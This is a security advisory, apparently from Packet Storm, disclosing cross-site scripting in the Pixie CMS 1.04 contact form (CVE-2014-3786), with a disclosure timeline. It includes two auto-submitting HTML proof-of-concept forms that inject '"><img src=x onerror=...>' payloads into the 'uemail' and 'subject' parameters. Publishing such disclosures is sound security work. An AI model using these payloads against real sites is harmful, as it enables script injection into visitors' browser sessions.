Pixie CMS 1.04 Cross Site Scripting

🗓️ 30 May 2014 00:00:00Reported by Simone MemoliType

packetstorm🔗 packetstormsecurity.com👁 40 Views

Pixie CMS v1.04 Contact form XSS Vulnerabilities, affecting uemail and subject parameter

Reporter	Title	Published	Views	Family All 5
CVE	CVE-2014-3786	4 Jun 201414:00	–	cve
Cvelist	CVE-2014-3786	4 Jun 201414:00	–	cvelist
EUVD	EUVD-2014-3725	7 Oct 202500:30	–	euvd
NVD	CVE-2014-3786	4 Jun 201414:55	–	nvd
Prion	Cross site scripting	4 Jun 201414:55	–	prion

`Pixie CMS v1.04 (Contact form) POST XSS Vulnerabilities  
  
Vendor: Pixie CMS  
Product web page: http://www.getpixie.co.uk  
Affected version: 1.04  
Severity: Medium  
CVE: CVE-2014-3786  
Demo page: http://demo.getpixie.co.uk  
  
Discovered by: Filippos Mastrogiannis (@filipposmastro)  
& Simone Memoli (@Simon90_Italy)  
  
Pixie is a free, open source CMS software a.k.a a small, simple,   
website maker (as the vendor states on its website)  
  
Description: Pixie (v1.04) suffers from several POST XSS vulnerabilities in  
the Contact form (contact.php). The user input through the POST parameters   
'uemail' and 'subject' are not properly sanitized allowing the attacker to   
execute HTML code into user's browser session on the affected site.  
  
The vulnerable component is the contact module of the Pixie v1.04 and it   
can be found at (/pixie_v1.04/admin/modules/contact.php) of the source code  
  
Tested on: Ubuntu 13.10 with Mozilla Firefox 29.0 / Microsoft Windows 7  
with Mozilla Firefox 29.0.1  
  
Proof Of Concept:  
  
<html>  
<title>Pixie CMS v1.04 Contact form (uemail parameter) XSS</title>  
<form name="xss" action="http://demo.getpixie.co.uk/contact/" method="post">  
<input type="hidden" name='uemail' value='"><img src=x onerror=prompt(document.domain);>'>  
<input type="hidden" name='contact' value='1'>  
<input type="hidden" name='subject' value='xss'>  
</form>  
<script>document.xss.submit();</script>  
</html>  
  
<html>  
<title>Pixie CMS v1.04 Contact form (subject parameter) XSS</title>  
<form name="xss" action="http://demo.getpixie.co.uk/contact/" method="post">  
<input type="hidden" name='uemail' value='xss'>  
<input type="hidden" name='contact' value='1'>  
<input type="hidden" name='subject' value='"><img src=x onerror=prompt(document.location);>'>  
</form>  
<script>document.xss.submit();</script>  
</html>  
  
  
Disclosure Timeline:  
  
[13.05.2014] Vulnerabilities discovered.  
[13.05.2014] Initial contact with the vendor.  
[15.05.2014] 1st response from the official maintainer.  
[30.05.2014] 2nd response from the official maintainer.  
[30.05.2014] Public security advisory released.  
  
`

30 May 2014 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.00225